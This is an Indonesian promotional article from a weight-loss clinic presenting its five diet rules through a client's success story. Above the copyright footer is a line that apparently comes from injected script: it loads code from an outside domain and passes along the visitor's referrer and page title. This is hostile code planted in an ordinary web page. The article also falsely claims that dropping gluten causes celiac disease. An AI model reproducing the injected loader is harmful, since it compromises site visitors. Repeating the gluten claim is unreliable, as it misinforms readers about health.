Lima Aturan Makan Agar Tidak Bikin Tubuh Makin Gemuk - LIGHThouse Indonesia
Appointment
Appointment

Lima Aturan Makan Agar Tidak Bikin Tubuh Makin Gemuk

“Saya sudah terbiasa makan dengan pola yang berantakan. Apa yang terasa enak di mulut atau terlihat menarik di mata, pasti saya lahap.”

Bulan September 2014, Ricky Darmawan (27) memiliki bobot tubuh 125 kg. Ia pun tidak pernah menyangka kalau hanya dalam tiga bulan, berat badannya akan berkurang hingga tidak lagi tiga digit. Ricky mengikuti lightWEIGHT Challenge 2014 karena merasa terusik dengan pendapat banyak orang yang mengindentikkan orang yang gemuk dengan sifat pemalas. Dengan komitmen yang dibangunnya, Ricky berhasil menjadi Juara Pertama dengan penurunan berat badan hingga 30 kg.

Lalu, apa yang menjadi rahasia penurunan berat badan Ricky yang sangat signifikan tersebut? Ricky berkomitmen pada “lightWEIGHT Five Rules yang didesain khusus oleh dr. Grace Judio, Msc. sebagai pendiri klinik lightHOUSE ini. Lima aturan tersebut meliputi:

1. Makan dengan mendengarkan sinyal perut

Menurut dr. Grace Judio, Msc. makanlah saat Anda merasa lapar dan berhentilah saat Anda merasa kenyang. Jadi jangan sampai Anda kelaparan, apalagi kekenyangan. Hal ini pula yang disarankan dr. Grace pada Presiden Jokowi saat melakukan “lobi meja makan”.

2. Pantang gula, tepung dan minyak

Pertama, gula. kelebihan gula diubah menjadi lemak oleh tubuh dan terlalu banyak mengomsumsi gula dapat mempengaruhi daya ingat. Kemudian tepun. Misalnya dalam sebungkus mie instan (65 gr), jumlah kalorinya ternyata tiga kali lebih tinggi dari 100 gr nasi. Ini mengapa, mengganti nasi dengan mi atau roti itu percuma. Terakhir soal minyak. Untuk menghindari minyak, saat memasak sayur ganti minyak dengan air untuk menumis.

3. Bebas makan satu kali dalam satu hari

Meskipun Anda bebas makan tetap pilih makanan yang mengandung rendah kalori untuk tubuh. Anda bisa memasaknya sendiri di rumah dengan melirik deretan resep yang kami miliki di sini.

4. Pilih makanan yang terbaik

Mulai dari karbohidrat, protein, hingga zat gizi yang didapatkan dari buah tentunya harus dipilih dengan kualitas yang terbaik untuk tubuh. Siapa sangka tak hanya penting untuk menurunkan berat badan, buah dan sayur berkualitas terbaik yang dikonsumsi ini juga baik untuk meningkatkan kekebalan tubuh.

5. Utamakan protein atau lauk saat makan

Variasikan program makan Anda dengan protein karena protein memiliki faktor pengenyang. Perlu diketahui, diet yang menghilangkan tipe protein seperti gluten justru berujung pada risiko gangguan isi halus (celiac disease). Pastikan Anda melakukan diet sehat seperti yang dilakukan program lightWEIGHT kami.

Awalnya Ricky merasa sulit untuk dijalankan karena pola makan yang berubah drastis. Terkadang itu membuat saya lebih emosional. Namun, setelah masuk dalam minggu ketiga, ia mulai telah terbiasa.

“Masukan ahli gizi pun membuat pola makan sehat yang disarankan dapat dijalani dengan  menyenangkan, ujarnya. Menurutnya, ini sangat berbeda dibandingkan dengan klinik yang memberi anjuran tanpa alasan jelas. Itulah yang membuat dia mendapatkan perubahan sangat besar. “Berkat lightHOUSE, berat badan sudah tidak tiga digit lagi,” kata Ricky senang.

Klinik lightHOUSE mendengarkan kebutuhan pasien, sehingga pola makan sehat yang dianjurkan lebih mudah dijalankan. Walaupun mengikuti kebutuhan, tetapi ahli gizi juga memantau asupan kalori pasien sehari-hari.

“Sebagai laki-laki di usia produktif, saya senang dengan berat badan sekarang yang mendukung hidup yang lebih aktif. Semua berkat program lightWEIGHT,” Ricky menjelaskan. Bonusnya, ia mendapatkan banyak hadiah sebagai pemenang lightWEIGHT Challenge 2014.

Saatnya Sahabat lightHOUSE, terutama yang laki-laki membuktikan diri dan menjawab tantangan untuk hidup lebih sehat. Tunggu dan jangan lupa daftarkan diri Anda di lightWEIGHT Challenge 2016!

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Copyright © 2022 LIGHThouse. All Rights Reserved.
FAQ